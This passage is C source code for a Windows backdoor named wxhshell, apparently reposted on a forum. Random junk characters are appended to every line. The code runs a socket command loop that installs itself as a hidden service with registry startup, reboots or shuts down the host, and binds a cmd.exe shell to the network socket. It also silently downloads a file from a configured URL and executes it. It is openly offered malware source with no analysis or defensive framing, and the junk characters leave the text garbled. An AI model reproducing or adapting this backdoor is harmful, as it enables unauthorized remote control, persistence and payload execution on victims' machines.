  [j?n}D@L  
  // 帮助 U!XC-RA3 _  
  case '?': { SWz+.W{KQ"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e/r41  
    break; 6$4G&'J  
  } ^IjKT  
  // 安装 fYuJf,I[f  
  case 'i': { #y&3`Nz3  
    if(Install()) j_L 'Ztu3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [kt!\-  
    else 9Y&n$svB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  fv5'Bl  
    break;  w+=>b  
    } 54JZEc  
  // 卸载 lV?rC z  
  case 'r': { )xiic3F  
    if(Uninstall()) H\Y.l,^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )p~\lM}?d  
    else d0Py[37V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2L[/.|  
    break; e=o<yf9>Q  
    } \wCj$- ;Jt  
  // 显示 wxhshell 所在路径 MQ$[jOAqP  
  case 'p': { H2BD5  
    char svExeFile[MAX_PATH]; 9b``l-rO  
    strcpy(svExeFile,"\n\r"); N0O8to}V  
      strcat(svExeFile,ExeFile); glH&v8  
        send(wsh,svExeFile,strlen(svExeFile),0); 6^H64jM  
    break; 2IFri|;-eb  
    } ^' lx5+-  
  // 重启 e#:.JbJ:D  
  case 'b': { uH^/\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .</d$FM JE  
    if(Boot(REBOOT)) b*',(J94  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RgHPYf{  
    else { 9.m_3"s  
    closesocket(wsh); S:v]3G  
    ExitThread(0); >~){KV1~  
    } _k\*4K8L  
    break; x>A(016:C  
    } /1zi(z   
  // 关机 \L}Soe'  
  case 'd': { f>s3Q\+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !e?=I  
    if(Boot(SHUTDOWN)) "A~\$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g;hXr#~  
    else { 4'Z=T\:  
    closesocket(wsh); .2q7X{4=  
    ExitThread(0); 4`o_r%   
    } 3!_y@sWx  
    break; elG<\[  
    } U; JZN  
  // 获取shell  \U(qv(T  
  case 's': { F-R4S^eV  
    CmdShell(wsh); ZN~:^,PO/  
    closesocket(wsh); "^fcXV9Wp  
    ExitThread(0); H{VVxj  
    break; R+Dx#Wn I  
  } dGt;t5An V  
  // 退出 f>k]{W Y  
  case 'x': { G#t!{Q}8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &#;vR 0O  
    CloseIt(wsh); m=jxTZK  
    break; ts`c_hH,1'  
    } c~3OK_k  
  // 离开 dT4?8:  
  case 'q': { i^eU!^KF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y #E/"x%+  
    closesocket(wsh); a6wPkf7-H  
    WSACleanup(); (2RZc].M~  
    exit(1); vOy;=0$  
    break; ^ #B`GV  
        } ?){V7<'?y  
  } %JeT,{  
  } .:A9*,  
bCHJLtDQ  
  // 提示信息 m/Ou$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cK%Sty'8+  
} .|^L\L(!  
  } 1v)ur\>R  
0"o%=i;  
  return; w[}5qAI5*f  
} Jte:U*2  
KV0M^B|W  
// shell模块句柄 2kzm(K  
int CmdShell(SOCKET sock) s_S[iW`l=  
{ Vr@I9W;D#  
STARTUPINFO si; N9QHX  
ZeroMemory(&si,sizeof(si)); \=Rw/[lR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mlW0ptp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Mpc#:a%1  
PROCESS_INFORMATION ProcessInfo; ))- B`vi  
char cmdline[]="cmd"; aMKi`EW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @xIKYJyU  
  return 0; i%w[v_j  
} bHZXMUewC  
nb::,  
// 自身启动模式 ]awu7}C9Z  
int StartFromService(void) luXcr H+w  
{ 0`VA} c  
typedef struct )F*;7]f  
{ ~3bH2,{L[  
  DWORD ExitStatus; ~iI4v#0  
  DWORD PebBaseAddress; q;a"M7  
  DWORD AffinityMask; YaU)66=u  
  DWORD BasePriority; Ox9WH4E  
  ULONG UniqueProcessId; l&#&}3M  
  ULONG InheritedFromUniqueProcessId; CzDJbvv ]  
}   PROCESS_BASIC_INFORMATION; 8 -]\C  
&v9*D`7L  
PROCNTQSIP NtQueryInformationProcess; 5q4sxY9T  
]yI~S(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :Rl*64}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zt,pV \|  
hDBVL"  
  HANDLE             hProcess; +PT/pybA  
  PROCESS_BASIC_INFORMATION pbi; 6?8x[l*5M  
{[&$W8Li  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s[6y|{&ze  
  if(NULL == hInst ) return 0; v3>jXf  
$0+n0*fp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zv/owK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T6_LiB @  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _UU-  
vt8z=O  
  if (!NtQueryInformationProcess) return 0; h2~b%|Pv  
H|@R+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $}_a`~u  
  if(!hProcess) return 0; vk;]9o j*  
qcpAjjK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a2Q_K2t  
4FLL*LCNX  
  CloseHandle(hProcess); +'aG&^k4  
(b!`klQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <;)qyP  
if(hProcess==NULL) return 0; Rf*cW&}%  
o}QtKf)W  
HMODULE hMod; U4PnQ K,  
char procName[255]; -hv<8bC~4  
unsigned long cbNeeded; >Vp #   
~t0\Q; @($  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *F[;D7sZ~  
3pQ^vbQ"  
  CloseHandle(hProcess); y?Vsp<  
1=NP=ZB  
if(strstr(procName,"services")) return 1; // 以服务启动 ; (0<5LQ  
FQ6jM~  
  return 0; // 注册表启动 XQW9/AzNf  
} _}G1/`09#  
?VM4_dugf  
// 主模块 8":O\^i  
int StartWxhshell(LPSTR lpCmdLine) R8"qDj  
{ H!6nIS9yxt  
  SOCKET wsl; V'n4iM  
BOOL val=TRUE; ZP*(ZU@j=Z  
  int port=0; PO1|l-v<Yq  
  struct sockaddr_in door; )o51QgPy  
#21t8  
  if(wscfg.ws_autoins) Install(); 3/d`s0O  
$K-od3h4=  
port=atoi(lpCmdLine); r*Iu6  
@x u/&pbI  
if(port<=0) port=wscfg.ws_port; *21foBfqh  
b&iJui"7k  
  WSADATA data; \9FWH}|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y\cQ "9  
8y$c\Eu(mF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xNLvK:@0p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IgxZ_2hO  
  door.sin_family = AF_INET; (A<'{J#5,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (bT3 r_  
  door.sin_port = htons(port); iRwlK5(&  
F@C^nX9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2p6`@8*34  
closesocket(wsl); Wa{()Cz  
return 1; @20~R/vh  
} E 0k1yA  
7E 4Xvg+c  
  if(listen(wsl,2) == INVALID_SOCKET) { HW,2x}[  
closesocket(wsl); vH`m W`=  
return 1; aM2[<m}  
} *Y!c6eA  
  Wxhshell(wsl); 9bE/7v  
  WSACleanup(); }iu(-{Z  
97XGJ1HI  
return 0; Td|x~mZv:  
P. V #  
} qjc8$#zXS  
qYi<GI*|@  
// 以NT服务方式启动 gr&Rkuyfv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q|3SYJf  
{ @-g'BvS  
DWORD   status = 0; k-~HUC.A.  
  DWORD   specificError = 0xfffffff; |izf|*e  
LEM^8G]O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ptcG:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kVG]zt2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NEY b-#v  
  serviceStatus.dwWin32ExitCode     = 0; h3z=tu['  
  serviceStatus.dwServiceSpecificExitCode = 0; xQKD1#y  
  serviceStatus.dwCheckPoint       = 0; ?n]e5R(cj  
  serviceStatus.dwWaitHint       = 0; ,pc\ )HR  
BUp,bJpO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @['4X1pqt  
  if (hServiceStatusHandle==0) return; q/|WkV `m  
.*0`}H+_  
status = GetLastError(); \K,piCVViN  
  if (status!=NO_ERROR) ZJ|@^^GcL  
{ tOu:j [  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x>E**a?!L  
    serviceStatus.dwCheckPoint       = 0; X*cf|g  
    serviceStatus.dwWaitHint       = 0; 4h[S`;D0Vf  
    serviceStatus.dwWin32ExitCode     = status; RR 8Z 9D;  
    serviceStatus.dwServiceSpecificExitCode = specificError; $1(FN+ M b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 Ii@_r>  
    return; XIrNT:h4  
  } &;V3[ *W"  
IdvBQ [Gj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x>$! R\Cj  
  serviceStatus.dwCheckPoint       = 0; YflotlT}  
  serviceStatus.dwWaitHint       = 0; REmD*gf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E\%'/3o  
} INHN=KY{  
o}iqLe\  
// 处理NT服务事件,比如:启动、停止 VB?mr13}G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +]!`>  
{ qZ39TTQ*p  
switch(fdwControl) JMT?+/Qbu  
{ w|1Gb[  
case SERVICE_CONTROL_STOP: .QhH!#Y2D  
  serviceStatus.dwWin32ExitCode = 0; !iOuIYjV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V r0-/T  
  serviceStatus.dwCheckPoint   = 0; D(GAC!|/]  
  serviceStatus.dwWaitHint     = 0; X> *o\   
  { F! |?S:X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kP6P/F|RcZ  
  } jgr2qSU C  
  return; >VAZ^kgi  
case SERVICE_CONTROL_PAUSE: \sy;ca)[6g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -}ebn*7i\  
  break; I)-u)P?2x  
case SERVICE_CONTROL_CONTINUE: LqHeLN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aoZ`C3  
  break; ~'4:{xH  
case SERVICE_CONTROL_INTERROGATE: >:ZlYZ6sI  
  break; GC3:ZpV`  
}; kt";Jx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 10/N-=NG18  
} ;5*)kX  
!6wbg  
// 标准应用程序主函数 G0^O7w^5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  MRB>(}  
{ 3xW;qNj:!l  
;'Pi(TA)  
// 获取操作系统版本 n ^T_pqV?X  
OsIsNt=GetOsVer(); TwZvz[u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qdn\8Pn  
q5$z:'zE  
  // 从命令行安装 mX8A XWIa  
  if(strpbrk(lpCmdLine,"iI")) Install(); vWJhSpC[  
5T[9|zJs  
  // 下载执行文件 328(W  
if(wscfg.ws_downexe) { i*9l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `TkI yGr  
  WinExec(wscfg.ws_filenam,SW_HIDE); x*#F|N4~',  
} 1%L* 9>e  
6, Q{/  
if(!OsIsNt) { %Km_Sy[7']  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qa,^;hZWS  
HideProc(); !U"1ZsO)l  
StartWxhshell(lpCmdLine); (u]ajT  
} Bc4{$sc"O  
else xNNoB/DR  
  if(StartFromService()) uTRa]D_q  
  // 以服务方式启动 -5NP@  
  StartServiceCtrlDispatcher(DispatchTable); B[ f{Ys  
else Po[u6K2&  
  // 普通方式启动 tUmI#.v   
  StartWxhshell(lpCmdLine); b8 J\Lm|J  
`>fN? He  
return 0; @=c{GAj  
}
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只看该作者 1 发表于: 2006-10-10
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